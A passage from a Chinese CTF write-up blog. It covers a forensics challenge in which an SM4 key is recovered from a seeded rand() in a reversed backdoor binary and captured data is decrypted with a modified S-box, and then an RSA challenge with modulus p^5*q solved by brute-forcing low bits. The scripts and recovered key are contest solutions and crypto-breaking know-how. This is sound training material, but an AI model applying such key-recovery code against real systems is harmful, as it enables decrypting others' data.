.rodata:00000000000020D8 db 0CBh, 3Eh, 0Ah, 45h, 0E5h, 94h, 77h, 5Bh, 8Dh, 6Dh
.rodata:00000000000020E2 db 48h, 41h, 10h, 0BDh, 9, 0C1h, 4Ah, 89h, 0Dh, 6Eh, 97h
.rodata:00000000000020ED db 0A1h, 1Dh, 16h, 0Ah, 0D9h, 88h, 6Ah, 96h, 0D1h, 6Bh
.rodata:00000000000020F7 db 32h, 2, 35h, 46h, 6, 7Dh, 65h, 49h, 8Ch, 0F0h, 3Eh
.rodata:0000000000002102 db 2Dh, 7Ah, 15h, 0FFh, 5, 8Eh, 1, 84h, 3Ch, 3Ah, 38h
.rodata:000000000000210D db 53h, 87h, 7Bh, 0Bh, 2Bh, 7Eh, 0Fh, 0F6h, 69h, 0A8h
.rodata:0000000000002117 db 5Ah, 0B5h, 4Ch, 1Bh, 39h, 7Fh, 8, 8Dh, 1Ch
这个很明显是 SM4 的标准 S 盒。之前那个v8是128位的,那基本可以确实就是SM4密钥了。
写一个c程序获取密钥即可。注意要在linux上使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main() {
unsigned int seed = 0x34952046;
srand(seed);
uint32_t v8[4];
for (int i = 0; i < 4; ++i) {
v8[i] = rand();
}
unsigned char *key_byte_ptr = (unsigned char *)v8;
for (int i = 0; i < 16; i++) {
printf("%02x", key_byte_ptr[i]);
}
return 0;
}

这里需要注意大端序小端序问题。
必须转为char形式,因为:
算法需求:SM4操作的是字节流,不是整数数组
字节序问题:直接打印整数会得到错误的字节顺序
内存表示:需要按内存中的实际布局获取数据
通用性:字节表示在所有平台上都是一致的
密钥:
ac46fb610b313b4f32fc642d8834b456

6

要求找到黑客获取的服务器中的flag值。

分析代码可知,是一个标准SM4+替换过的S盒
这部分参考了https://www.dr0n.top/posts/22eff239/#SnakeBackdoor-6,感谢师傅的wp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

import struct

RAW_HEX = """00000030
7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729"""

KEY_HEX = "ac46fb610b313b4f32fc642d8834b456"
SBOX_HEX = (
"d690e9fecce13db716b614c228fb2c05"
"2b679a762abe04c3aa44132649860699"
"9c4250f491ef987a33540b43edcfac62"
"e4b31ca9c908e89580df94fa758f3fa6"
"4707a7fcf37317ba83593c19e6854fa8"
"686b81b27164da8bf8eb0f4b70569d35"
"1e240e5e6358d1a225227c3b01217887"
"d40046579fd327524c3602e7a0c4c89e"
"eabf8ad240c738b5a3f7f2cef96115a1"
"e0ae5da49b341a55ad933230f58cb1e3"
"1df6e22e8266ca60c02923ab0d534e6f"
"d5db39b831110c5acb3e0a45e594775b"
"8d6d484110bd09c14a890d6e97a11d16"
"0ad9886a96d16b32023546067d65498c"
"f03e2d7a15ff058e01843c3a3853877b"
"0b2b7e0ff669a85ab54c1b397f088d1c"
)

FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]
CK = [
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279,
]

SBOX = list(bytes.fromhex(SBOX_HEX))
KEY = bytes.fromhex(KEY_HEX)

def rol32(x, n):
x &= 0xFFFFFFFF
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))

def tau_le(x):
b0 = (x >> 24) & 0xFF
b1 = (x >> 16) & 0xFF
b2 = (x >> 8) & 0xFF
b3 = x & 0xFF
return (SBOX[b0]
| (SBOX[b1] << 8)
| (SBOX[b2] << 16)
| (SBOX[b3] << 24))

def T(x):
b = tau_le(x)
return b ^ rol32(b, 2) ^ rol32(b, 10) ^ rol32(b, 18) ^ rol32(b, 24)

def Tp(x):
b = tau_le(x)
return b ^ rol32(b, 13) ^ rol32(b, 23)

def key_schedule(mk_bytes):
MK = list(struct.unpack(">4I", mk_bytes))
K = [MK[i] ^ FK[i] for i in range(4)]
rk = []
for i in range(32):
t = (K[i] ^ Tp(K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i])) & 0xFFFFFFFF
K.append(t)
rk.append(t)
return rk

def crypt_block(block16, rk32):
X = list(struct.unpack(">4I", block16))
for i in range(32):
X.append((X[i] ^ T(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk32[i])) & 0xFFFFFFFF)
return struct.pack(">4I", X[35], X[34], X[33], X[32])

def sm4_ecb(data, rk32):
return b"".join(crypt_block(data[i:i+16], rk32) for i in range(0, len(data), 16))

def pkcs7_unpad_loose(b):
pad = b[-1]
return b[:-pad] if 1 <= pad <= 16 else b

def main():
raw = bytes.fromhex(RAW_HEX)
ln = int.from_bytes(raw[:4], "big")
ct = raw[4:4+ln]

rk_dec = key_schedule(KEY)[::-1]
pt = pkcs7_unpad_loose(sm4_ecb(ct, rk_dec))

print(pt.decode("utf-8", errors="replace"), end="")

if __name__ == "__main__":
main()

写在最后

元旦花了一下午时间复现,虽然感觉后面半决就没有流量取证,更多是内存取证和上机,感觉也收获不少。后面就是速成web,然后把自己内存取证的功底捡一捡,道阻且长。

2026.1.1 19:52

比初赛简单,然而还是没做出来,经大佬指点才有思路。

原题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# sage -pip install pycryptodome

from Crypto.Util.number import *
from sympy import nextprime
import os
from gmpy2 import*
'''
Too next maybe.
'''
class MyRSA():
def __init__(self,flag:bytes,nbits:int):
self.n, self.phi = self.GetMyModulus()
self.e = 0x10001
self.d = inverse(self.e,self.phi)
self.flag = self.pad_pkcs77(flag,nbits)
def GetMyModulus(self):
u = getPrime(1024)
u = (u >> 414) << 414
p = nextprime(u)
q = getPrime(326)
n = p^5*q
phi = p^4*(p-1)*(q-1)
return n, phi

def pad(self,flag,nbits:int):
flag = flag + os.urandom(1)*(nbits//8 - len(flag))
return flag

def pad_pkcs77(self,flag:bytes,nbits:int)->bytes:
pad_len = (nbits - len(flag)) % 256
return flag + bytes([pad_len]*pad_len)
def Encrypt(self,flag:bytes)->int:
return pow(bytes_to_long(flag),self.e,self.n)

def Decrypt(self,c:int)->bytes:
return long_to_bytes(pow(c,self.d,self.n))

def GetPublicKey(self)->tuple:
return self.e,self.n

R = MyRSA(flag,4096)
e,n = R.GetPublicKey()
c = R.Encrypt(R.flag)
assert flag in R.Decrypt(c)
print(f'n = {n}')
print(f'c = {c}')
print(f'e = {e}')

观察可知,q是一个326位素数,p是1024位素数低414位置0的数的nextprime。感觉这题思路与前两天的basectf “没有n啊”有共通之处,都涉及到二项式定理的活用。

对于p,我们设其高位部分为a,低位部分为b,这样就有

p = a*(2^414)+b

那么对于 n= (p^5)*q

有:n=((a*(2^414)+b)^5 )*q

到这里我们注意到,若对整体进行mod 2^414,即有:

b^5 * q= n mod 2^414

因为p是u低位414置0的下一个素数,说明b的值应该很小。由于q为326位,可以推测b^5 * q的值本身就小于414位,所以不会因为模操作被截断。因此,我们只需尝试b的不同值进行爆破即可求出原本的q。

求出q后就简单了,n整除q求出p^5,然后开方即可。

实际运行过程中发现有多个符合条件的b,q值,所以要注意q同时要能被n整除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import * 
from sympy import nextprime
import os
from gmpy2 import*

n = 10823775490240073819631917849117225946287891171185101059838012738590942083286491895086451201330121282239112048818281379201392391711081928618707509066233928638187019201160301050490769069075313289908655264579328149828347872699697195230421390529843974340674990548004216615592682491515978442178349653549929465663244023757359796216867165844075976331191951027290725012210177449053555588254681079976280745286908897416681478813013297839608241067674026010720343633012556240553683175172988624633735387588606867666858001973089190528295159219227069810517454677330841359125440162677002725561779009788936368150290859696939093099879034996630579194814736517706689658051035296730348668338031728823161338125653461172596730500445378167749498084676295147743704190979584713779480154941790026465774118720519452568935866964502632734126766023547271771741522485702708564882312127253470312413231358374856453986812653197218096126488261909815753848184984064628112603870471377689973632577669755803660286519111642490140982595789903748438781184726565551753915521681764875126384100543905139578572437448873221310081171658381184510994313626085298420060720405712211118973379978497950555404038223284628782496353636937575849667836726918752652643522916609808294676912772669709626282702678281989896980713944961023191040866155298213017019008276602607515680628655918406129027549335549388661763175355900965439242125850380340787177957488885171013738475994880288387184114946910361655893886743701515443028478684376198033356669188403171941244027967567591761268196312412901508832292242743552450482860690493244338059935380601338109164461877746510598646182450038161334450878692284043867773
c = 10660090497301432537437820885848286020311835935260034549173484275959379310864520958356152878610641549326516182239849660339867147213565561569490658510864241912091951711562645132218482839920377179333386420114391233630515012393090359381717875467071280927583120692784917275074532993409388122061004854178182661632604182150765151482558156183912422898613209559942234127025063687928879910292952039316531554812705081695248540209866005563219806997627684236587554109286831877006896470109805219447282525518519161097673276492456094713735029038771812376330352652393029164468202357817665724369560583349301558861453705718562711798522554316893417360531922795446452749685308492123451575279293644339041629468390133378328145993285368218775498976282596017084494092950586275565868969964447619034372770452127643594002885530340353730337577609060573094563836165559288998090805166088888016631981190567474132421889397451224492478175286707362679459528061705122579238644392225558752144211463152201143723558678398331677420261413849490732610210418705205396485108198008618730081560787598535809656356334449123152662358838247968331030455386114998823400263422044625507507829935684490654252473089135735147481428318393546785418776661158864450118169388804900558540117140348002680864998171847298229035444536926030071973643938958868695657994095200366957439503117930474161132984898344356321926977383591037057394861749532205998932840557833372993944408083463060446903121200107227041538939713625198024076302549803852074630498649236538622458710733295489005936281570737839438843387492079285997225293361642946364581369251919661240027265549956890265107036578709824437885345581015267152770
e = 65537



nn = n%(2**414)
x=2
q=nn//(x**5)
while (1):
x+=1
q=nn//(x**5)
if(q*(x**5)==nn):
p5=n//q
if(p5*q==n):
break
p=gmpy2.iroot(p5,5)[0]
phi=(q-1)*(p-1)*p**4
d = inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
0%